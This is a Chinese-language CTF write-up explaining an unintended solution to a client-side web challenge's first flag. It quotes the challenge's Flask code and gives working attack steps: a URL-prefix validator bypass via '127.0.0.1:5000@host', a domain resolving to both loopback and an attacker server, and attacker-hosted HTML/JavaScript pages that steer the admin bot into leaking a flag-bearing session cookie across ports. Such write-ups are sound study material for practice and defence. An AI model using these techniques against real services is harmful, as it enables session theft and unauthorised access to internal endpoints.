很久没写博客了,第一次拿国际赛难题的血,还是个非预期,写一下
题目描述
Han Shangyan was tired of Team K&K getting skill-diffed every time they were faced with client-side web challenges. After some self-reflection, he finally accepted that training his squad solely with aim trainers might not be the best approach. Instead, he decided to make a totally realistic CTF challenge for his team to practice on.
Submit flag 1 here. Both challenges use the same attachment.
Note: Port 5001 is not exposed on the remote instance. However, the bot can still access it and this does not interfere with the intended solution.
Author: SteakEnthusiast
思考过程
flag 1
flag1 的位置是
python
@app.get("/flag")
def flag():
"""
/flag:将 flag1 写入 session 的额外 claims(extra_claims={"flag": flag})
限制条件:
- 必须已登录(有 session cookie)
- 访问来源必须是 loopback(127.0.0.1 / ::1)
"""
session = _parse_session()
if not session:
abort(403)
if not _is_loopback(request.remote_addr):
abort(403)
flag = _read_flag_file("flag1.txt")
resp = make_response("OK")
issue_session_cookie(resp, int(session["sub"]), extra_claims={"flag": flag})
return resp
boot 只检查以什么开头
python
def _validate_bot_url(url: str) -> str:
"""
校验 /bot 提交的 URL:
- 只允许以 http://127.0.0.1:5000 开头(强制指向本机主站)
"""
url = url.strip()
if not url.startswith("http://127.0.0.1:5000"):
raise ValueError("URL must start with http://127.0.0.1:5000")
return url
利用这种方式我们可以将bot导向任意网站
http://127.0.0.1:5000@{host}
接下来,我使用可控域名为其添加两个解析结果
A 127.0.0.1
A 攻击者服务器
将攻击服务器的5001端口挂载如下内容,因为攻击服务器不开放5000,访问5000会降级为127.0.0.1
index.html
html
<form id="login" action="http://rebind.xxx:5000/login?check=win" method="post">
<input name="username" value="A5rZ">
<input name="password" value="A5rZ">
</form>
<script>
window.open("http://rebind.xxx:5001/exp.html");
document.getElementById("login").submit();
</script>
exp.html
html
<script>
setTimeout(() => {
window.open("http://rebind.xxx:5001/exp1.html");
window.location.href = "http://rebind.xxx:5000/flag?check=win";
}, 2000);
</script>
exp1.html
html
<script>
setTimeout(() => {
window.location.href = "http://rebind.xxx:5001/?check=win";
}, 2000);
</script>
cookie同源协议不区分端口,因此我们成功获得flag1